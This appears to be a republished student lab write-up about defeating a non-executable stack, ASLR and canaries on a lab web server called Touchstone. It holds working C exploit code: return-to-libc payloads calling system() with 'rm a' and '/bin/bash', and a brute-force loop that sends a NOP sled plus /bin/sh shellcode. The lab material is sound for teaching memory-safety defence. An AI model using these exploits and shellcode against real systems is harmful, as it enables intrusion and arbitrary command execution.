Lab2 Return-To-Libc
发布日期:2021-11-16 18:49:34 浏览次数:5 分类:技术文章

本文共 4488 字,大约阅读时间需要 14 分钟。

Lab Overview

In this lab, you’ll explore how to defeat the protection mechanisms introduced to counter buffer overflows. The first type of countermeasure is non­executable stack, which will mark the stack memory segment, along with other segments, non­executable. Thus, even the shellcode jumps back to the stack, it has no chance to execute. To defeat this protection mechanism, you will study and use a specific technique called return­to­libc, a special and easy form of return­oriented programming. By using return­to­libc, shellcode can jump to any library code (or any executable code).

The second type of countermeasure is memory address layout randomization (ASLR). The key idea of ASLR is to set random addresses for specific memory segments of a given process. Thus, it will be very difficult for an adversary to know the exact address of a buffer. To defeat this protection mechanism, the adversay can guess the starting address of a buffer and attack the server brute­forcely. This is rather realistic, because the range of the stack is relatively small.
The third type of countermeasure is a canary. In its simplest form, a canary is an integer on the stack (after the buffer), by checking whether or not a canary is altered, one can check whether or not the buffer is over flowed, just before the function returns. To defeat this, an adversary can just guess the value of the canary. At a first glance, this will be very hard, if not impossible, because the value space is dramatically huge: 232. However, you will understand that under some circumstance, say a web server like Touchstone, it will be very practical. An adversary only need to guess just 1024 times to succeed.

This lab consists of three parts:Part A: you will defeat the Non­executable stack protection, by using return­to­lic attack.Part B: you will defeat the Touchstone web server in a realistic environment: the ASLR is enabled.

Exercise 1

不能成功,提示程序中断。

因为开启non-executable stack后,栈是不可执行的。当返回地址为栈地址时,程序将中断。

这里写图片描述


Exercise 2

使用gdb调试在fun函数处设断点并运行,打印出栈内情况。然后根据实验步骤修改栈,结果如下图所示。

栈

从图中可看到,我们把fun的返回地址修改为system函数的地址,把old ebp修改为字符数组”ls”,并把old ebp下一个地址修改为字符数组”ls”的地址。这里,我们就制造了一个system(“ls”)函数的调用:

1. 参数入栈:*0xbffff324=0xbffff328 2. 返回地址入栈:*0xbffff320=0x08048400

当fun函数执行完后返回时,会调用system函数,system函数从栈中获取参数地址。

而当system执行完后返回时,esp指向0xbffff320调用__libc_csu_init,而它上方两个地址的内容已发生改变,因此不能正常进行调用,从而导致Segmentation fault。
为使进程能够正常退出,只需进行如下操作:

(gdb) set *0xbffff320=0x80483f3

使system函数执行完后能继续执行main函数从而正常退出。

这里写图片描述


Exercise 3

这里我们就做一个删除一个文件名为a的文件[system(“rm a”)]。

首先对touchstone进行gdb调试,查看ebp寄存器的值以及getToken中s的地址以及找到system函数的地址:

这里写图片描述

根据Exercise 2,这里我们要把getToken的返回地址( ebp+4system ebp+12的内容修改为system参数的地址。由于

$ebp - &s = 1056

所以返回地址为s+1060,参数地址为s+1068,代码如下:

#define len 1100 int main(){     ...    char req[len];    memset(req,'A',len);    req[0]='r';    req[1]='m';    req[2]=9;  //由于某些原因,这里空格以制表符(ASCII值为9)代替    req[3]='a';    req[4]='\0';    *((int*)&req[1060])=0xb7e5f430;   //system    *((int*)&req[1068])=0xbfffee98;   //"rm a"    req[len-4]='\r',    req[len-3]='\n',    req[len-2]='\r',    req[len-1]='\n';    ...}

Challenge

对touchstone进行gdb调试,用x/1000s找到”/bin/bash”的地址:

这里写图片描述

从图中可以看到,地址0xbffff5a4内存的字符串为”SHELL=/bin/bash”,因此0xbffff5a4+6就是我们需要的”/bin/bash”。因此只需把参数地址改为0xbffff5aa即可。代码如下:

#define len 1100  int main(){    ...    char req[len];    memset(req,'A',len);    *((int*)&req[1060])=0xb7e5f430;   //system    *((int*)&req[1068])=0xbffff5aa;   //"/bin/bash"    req[len-4]='\r',    req[len-3]='\n',    req[len-2]='\r',    req[len-1]='\n';    ...}

Exercise 4

不能成功。开启ASLR后,s的地址每次都是随机的,所以以前的方法不再适用。


Exercise 5

32位系统内存情况如下图所示:

这里写图片描述

高1G为OS所拥有,OS以下8K即为栈空间。也就是说,我们可猜测buffer的起始地址在0xbfff8000~0xbfffffff之间。

实验中服务器的缓冲区s的size为1024,因此可把shellcode放在s的末尾,前面填充NOP指令,在s上方的区域填充我们认为的s的地址。代码如下:

#define len 1200  char shellcode[]=  "\x31\xc0"   "\x50"   "\x68""//sh"   "\x68""/bin"   "\x89\xe3"   "\x50"   "\x53"   "\x89\xe1"   "\x99"  "\xb0\x0b"   "\xcd\x80" ;// size = 24int main(){    ...    char req[len];    int i,j;    int start = 0xbfff8000;    int end = 0xbfffffff;    for(i = 0;i < 1000;i ++)   //0~999        req[i] = 0x90;   //NOP    for(j = 0;j < strlen(shellcode);i ++, j ++)   //1000~1023        req[i] = shellcode[j];    req[len-4]='\r',    req[len-3]='\n',    req[len-2]='\r',    req[len-1]='\n';    while(start + len < end)    {        i = 1024;        int *p = (int *)&req[i];        while(i < len - 4)        {            *p = start;            p ++;            i += 4;        }        write(sock_client,req,strlen(req));        start += 0x04;    }    ...}

转载地址:https://blog.csdn.net/Thare_Lam/article/details/49716783 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!

上一篇:Java中不同数字类型之间的转换
下一篇:Lab1 Buffer OverFlow

发表评论

最新留言

表示我来过!
[***.240.166.169]2024年03月04日 15时39分26秒

关于作者

    喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!

推荐文章

java 返回实体对象_java 封装返回结果实体类 返回结果以及错误信息 2019-04-21
java web 防止sql注入攻击_JavaWeb防注入知识点(一) 2019-04-21
java ssm 异常分类_SSM项目常见的异常与处理提示(一) 2019-04-21
java定义矩形类_Java定义矩形类 2019-04-21
java变量怎么变常量_Java的常量与变量是什么?怎么学习呀? 2019-04-21
java开发招聘试题_客户化开发招聘试题-Java开发.doc 2019-04-21
java jdk win10 1335_win10下安装java jdk,tomcat 2019-04-21
java list二分查找_java中的ArrayList和LinkedList的二分查找速度比 | 学步园 2019-04-21
php中的变量名称用什么表示,PHP变量,方法,类等名称中的有效字符是什么? 2019-04-21
pic32mx是什么cpu_PIC32MX单片机外设库使用(Ⅰ)- 系统时钟及I/O口基本设置 2019-04-21
用c 在mysql上存图片_C 批量保存图片进 mysql 利用MYSQL_BIND插入longblob 2019-04-21
mysql 1045 28000_mysql报关于用户密码1045(28000),几种处理方法 (zhuan) 2019-04-21
solr比mysql的优势_Solr与Elasticsearch的优缺点比较总结和归纳 2019-04-21
华为博士招聘上机考试题目_牛客网-华为-2020届校园招聘上机考试-3 2019-04-21
python中for可以做变量名吗_Python中使用动态变量名的方法 2019-04-21
mysql 日期转换天数_MySQL 日期操作 增减天数、时间转换、时间戳 2019-04-21
java对象去重复_JAVA中List对象去除重复值的方法 2019-04-21
java bss_[转] .bss段和.data段的区别 2019-04-21
java上传图片损坏_大神求助 上传图片后 图片损坏 2019-04-21
java socket唯一标识符_Java Socket编程之常识网络基础知识 2019-04-21